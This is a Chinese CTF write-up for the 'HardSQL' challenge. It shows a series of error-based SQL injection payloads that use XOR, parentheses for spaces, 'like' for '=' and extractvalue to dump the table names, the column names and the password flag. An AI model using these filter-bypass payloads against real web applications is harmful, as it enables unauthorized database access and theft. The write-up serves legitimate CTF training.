zoukankan      html  css  js  c++  java
  • [极客大挑战 2019]HardSQL

    记得比赛的时候我用的是报错注入

    随便输入用户名和密码进行抓包。

    用户名输入单引号之后报错,简单测试一下and or这些被过滤掉了

    使用^异或符号替换and

     证明可以使用^替换,^符号未被过滤,添加报错注入的payload,报错注入的原理网上有很多优秀的文章,使用payload之前可以先看一下:

    extractvalue(1,concat(0x7e,user(),0x7e))
    

      添加到burpsuite里面就变成了(最后的^'1 是为了闭合引号):

    1%27^extractvalue(1,concat(0x7e,user(),0x7e))^'1
    

      

     成功报错注出了数据库用户名

    做的过程中发现还过滤了等号=和空格

     等号可以使用like来代替,空格使用()括号来代替

    payload修改为:

    1%27^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like%27geek%27),0x7e))^'1
    

      

     表名为:H4rDsq1

    进一步获取数据:

    1%27^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like%27H4rDsq1%27),0x7e))^'1
    

      

    应该是要获取password

    1%27^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e))^'1
    

      

     因为extractvalue和updatexml函数都只能一次最多显示32位,在原有payload基础上修改.

    本来想用mid函数的,但是被过滤了,换right函数输出后面的flag

     payload修改为:

    1%27^extractvalue(1,concat(0x7e,(select(group_concat(right(password,13)))from(H4rDsq1)),0x7e))^'1
    

      

     与之前的flag拼接一下,注意这里我多出了几位,需要把重复的位数去除,就拿到完整的flag啦

  • 相关阅读:
    delphi利用文件内存共享的简单小说阅读器
    Delphi中共享内存学习
    JavaWeb初学者配置数据库连接报错(此处是MSSQL)
    Delphi的Json学习之一
    Delphi记录类型指针的使用
    汇编——段寄存器
    SQL 标量函数-----日期函数 day() 、month()、year() 转载
    项目一总结 滚动监听
    一阶段项目总结 导航栏 滚动监听固定
    简单的 js手写轮播图
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/12767189.html
Copyright © 2011-2022 走看看